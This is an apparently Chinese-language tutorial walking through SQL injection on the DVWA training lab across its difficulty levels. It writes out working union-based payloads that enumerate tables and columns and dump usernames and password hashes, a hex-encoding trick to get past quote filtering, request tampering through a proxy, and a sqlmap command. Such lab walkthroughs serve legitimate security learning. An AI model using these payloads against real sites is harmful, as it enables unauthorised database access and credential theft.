啥是SQL注入?
我們要理清我們要進行的思路 大致分7步
在DVWA中級別有四種 low midium high impossible
我們先設置成low
我們在裏面看一下源碼設置
通過源碼我們發現它對參數沒有任何的過濾 直接帶入數據庫進行查詢 我們猜測肯恩給存在字符型sql注入
判斷sql是否存在注入,以及注入的類型
接下來我們猜測sql查詢語句中的字段數 1‘ order by 1# (逐漸增加後面的1的大小進行猜測)
當輸入3#時就出現了錯誤,說明只有兩列的數據 查詢的表的字段數是2
我們來看一下回顯
接下來查詢當前的數據庫,以及版本 1' union select version(),database()#
接下來我們獲取數據庫的表 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
接下來我們獲取表中的字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
下面我們獲得字段中的數據 1' union select user,password from users#
我們看到的就是密碼 來!讓我們都破解了
接下來我們將級別設置爲medium 發現user id 已經限制了
看一下源代碼 發現增加了一溜規則
這個時候我們不能在這裏進行sql注入了,我們可以在別的地方,嘻嘻
我們瀏覽器啓用代理
打開我們的抓包工具
我們抓到包了,我們發的是1 我們在最下面給他改一下
稍微改動,他回顯給我們的就不再是1了
還是相同的步驟我們猜測字段個數
看一下3
接下來確定回顯位置
獲得數據庫名稱以及版本(注意和low不太一樣,後面不能有‘)
獲得數據庫中所有表
下面獲取表中的所有字段名,考慮到單引號被轉移,可以利用16進制繞過
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
最後獲取字段中的數據
接下來我們將DVWA的級別設置成high 發現當你點中SQL injection界面時會出現一共點擊 點擊完我們會跳到另外一共界面
我們看一下高級的源碼 發現裏面沒加啥特殊的控制,唯一就是跳了個網頁
我們來獲得密碼
最後我們將級別設置成impossible 看一下它的源碼 發現裏面加了很多東西,我們暫時莫得辦法了
當然我們可以把抓到的包,儲存下來
在sqlmap裏面進行執行 aqlmap.py -r C:\11.txt --level 3
數據庫中的這三個表我們要記住因爲經常要用到